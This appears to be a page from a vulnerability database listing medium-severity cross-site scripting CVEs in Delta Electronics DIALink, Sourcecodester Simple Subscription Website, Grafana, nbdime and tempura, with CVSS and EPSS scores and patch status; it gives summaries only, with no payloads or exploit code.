Delta Electronics DIALink versions 1.2.4.0 and prior is vulnerable to cross-site scripting because an authenticated attacker can inject arbitrary JavaScript code into the parameter comment of the API. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Dialink
NVD
EPSS 11% CVSS 4.8
MEDIUM This Month

Delta Electronics DIALink versions 1.2.4.0 and prior is vulnerable to cross-site scripting because an authenticated attacker can inject arbitrary JavaScript code into the parameter name of the API. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Dialink
NVD
EPSS 1% CVSS 4.8
MEDIUM This Month

Delta Electronics DIALink versions 1.2.4.0 and prior is vulnerable to cross-site scripting because an authenticated attacker can inject arbitrary JavaScript code into the parameter deviceName of the. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Dialink
NVD
EPSS 1% CVSS 4.8
MEDIUM This Month

Delta Electronics DIALink versions 1.2.4.0 and prior is vulnerable to cross-site scripting because an authenticated attacker can inject arbitrary JavaScript code into the parameter name of the API. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Dialink
NVD
EPSS 1% CVSS 4.8
MEDIUM This Month

Delta Electronics DIALink versions 1.2.4.0 and prior is vulnerable to cross-site scripting because an authenticated attacker can inject arbitrary JavaScript code into the parameter supplier of the. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Dialink
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

Cross Site Scripting (XSS) vulnerability exists in Sourcecodester Simple Subscription Website 1.0 via the id parameter in plan_application. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Simple Subscription Website
NVD GitHub
EPSS 85% CVSS 6.1
MEDIUM POC PATCH THREAT This Month

Grafana is an open-source platform for monitoring and observability. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

Grafana XSS
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

nbdime provides tools for diffing and merging of Jupyter Notebooks. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Nbdime Nbdime Jupyterlab
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC PATCH This Month

This affects the package tempura before 0.4.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS Tempura
NVD GitHub
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Quick Facts

Typical Severity
MEDIUM
Category
web
Total CVEs
39249

Related CWEs

MITRE ATT&CK

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